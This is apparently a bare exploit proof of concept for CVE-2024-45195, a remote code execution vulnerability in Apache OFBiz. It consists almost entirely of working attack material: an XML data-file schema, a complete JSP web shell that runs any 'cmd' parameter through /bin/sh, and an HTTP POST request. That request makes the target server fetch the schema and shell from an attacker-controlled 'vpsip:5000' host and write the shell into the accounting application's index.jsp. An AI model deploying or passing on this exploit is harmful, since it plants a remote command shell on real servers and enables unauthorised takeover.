Apache OFBiz存在远程代码执行漏洞(CVE-2024-45195)

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>
            </record>
        </data-file>
</data-files>

rcereport.csv

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type: application/x-www-form-urlencoded
 
DATAFILE_LOCATION=http://vpsip:5000/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://vpsip:5000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce